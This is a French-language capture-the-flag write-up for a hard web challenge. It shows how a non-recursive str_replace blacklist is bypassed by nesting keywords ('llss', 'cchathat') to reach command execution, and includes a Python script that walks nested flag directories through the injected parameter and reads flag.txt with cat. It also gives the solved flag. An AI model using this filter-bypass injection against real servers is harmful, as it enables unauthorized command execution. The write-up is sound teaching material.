• Auteur du write-up: Numb3rsProprety
  • Category: Web
  • Points: 500 => 495
  • Difficulty: Hard
  • Solves: 75

Description

Challenge link : http://20.125.142.38:8499/

If you still not illuded, here is another potion of illusion for you. Can you survive it ?????

You can du it ……..

Note

  • Je n’ai pas mis toute la description du challenge par ce que elle fait un bras mais en gros le flag final est la concatenation du flag + la commande utilisé pour trouver le flag.

Introduction

Overview

Le site est exactement le même que pour Illusion:

  • On peut entrer du texte qui sera reflect (où non) sous forme de “What I See ◔_◔ truc entré

On sais que c’est une rce par ce que c’est plus ou moins sous-entendu dans la description donc pif je retente un des payload de illusion (à savoir llss) et badabim badaboum j’ai le directory listing. Donc la vous vous dîtes

“mais what qu’est ce que c’est que ce truc pourquoi est ce que il met llss et la pouf un directory listing ??”

Ben enfait c’est tout con c’est par ce que le user input est sanitize par la fonction str_replace qui va check si votre input contient un mot interdit. Pour illustrer mon propos je vais vous montrer quelque exemples:

Imaginons que le serveur filtre le mot chat avec str_replace(“chat”, “”, $input) à chaque occurence de chat dans la var $input le serveur va la remplacer par du vide. Donc enfait si j’input cchathat le serveur va voir uniquement une occurence du mot chat et va l’enlever mais ducoup il restera les autres lettres qui formeront chat a leur tour et la pof nous on a gagné.

Je trifouille dans le serveur à coup de llss .. et la je me retrouve avec un truc affreux:

image alt text

Dans chaque dossier flag il y a 6 sous dossier flag avec a la fin un fichier flag.txt qui contiennent pour la plupart (en tout cas ceux que j’ai vu) des fake flag et que les fichier flag vont jusqu’à 20 - donc vu je suis un gros flemmard j’automatise les recherches.

Exploit

import requests

url = “http://20.125.142.38:8499/wH4t_Y0u_d1d?Th1nK_Tw1c3=”

symbol = “-”

base_data = “../flag”

for i in range(21):

url_temp1 = url + f"llss  {base_data}" + symbol * i

for x in range(7):

    url_temp2 = url_temp1 + "/" + "flag/" * x

    bisous  = requests.get(url_temp2)

    if "flag.txt" in bisous.text:

        print("[+] Flag trouvé à: " + url_temp2)

        url_temp3 = url_temp2.replace("llss", "cat")

        url_temp3 += "flag.txt"

        flag_stp = requests.get(url_temp3)

        print(f"[+]Trying {url_temp3}")

        if "N0t_7h1s_345y" not in flag_stp.text:

            print(flag_stp.text)

Mon script est d’une débilité sans nom il va juste itérer sur 20 tirets et sur 6 subdir flag en faisant des requêtes et en checkant l’output du fichier flag.txt pour verifier si le contenu est différent de N0t_7h1s_345y. Je finis par avoir un H0p3_4ny0N3_No7_n071c3_SiZe_D1fF3reNc3 qui pop et puis la je crie victoire mais retour a la réalité: le chall n’est pas fini. Comme j’ai fait le chall comme un gros bourrin je n’ai pas utiliser la commande voulu à savoir du apparent-size ah mais la hop big up a B.A Seven qui l’a trouvé.

Ce qui nous donne shellctf{H0p3_4ny0N3_No7_n071c3_SiZe_D1fF3reNc3_du_apparent-size_ah}